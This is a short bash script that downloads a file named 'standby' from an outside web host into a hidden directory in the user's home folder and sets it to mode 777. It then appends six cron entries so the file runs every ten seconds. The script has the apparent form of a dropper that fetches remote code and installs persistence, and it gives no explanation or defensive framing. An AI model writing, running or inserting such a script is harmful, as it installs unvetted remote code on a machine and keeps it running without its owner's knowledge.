#!/usr/bin/env bash

#vim /etc/crontab

whoami=`whoami`
mkdir -p /home/$whoami/.tmp
curl -o /home/$whoami/.tmp/standby http://www.luohao.work/fileApi/down?arg="standby"
chmod 777 /home/$whoami/.tmp/standby



echo "* * * * * bash /home/$whoami/.tmp/standby" >> /var/spool/cron/$whoami
echo "* * * * * sleep 10;bash /home/$whoami/.tmp/standby" >> /var/spool/cron/$whoami
echo "* * * * * sleep 20;bash /home/$whoami/.tmp/standby" >> /var/spool/cron/$whoami
echo "* * * * * sleep 30;bash /home/$whoami/.tmp/standby" >> /var/spool/cron/$whoami
echo "* * * * * sleep 40;bash /home/$whoami/.tmp/standby" >> /var/spool/cron/$whoami
echo "* * * * * sleep 50;bash /home/$whoami/.tmp/standby" >> /var/spool/cron/$whoami

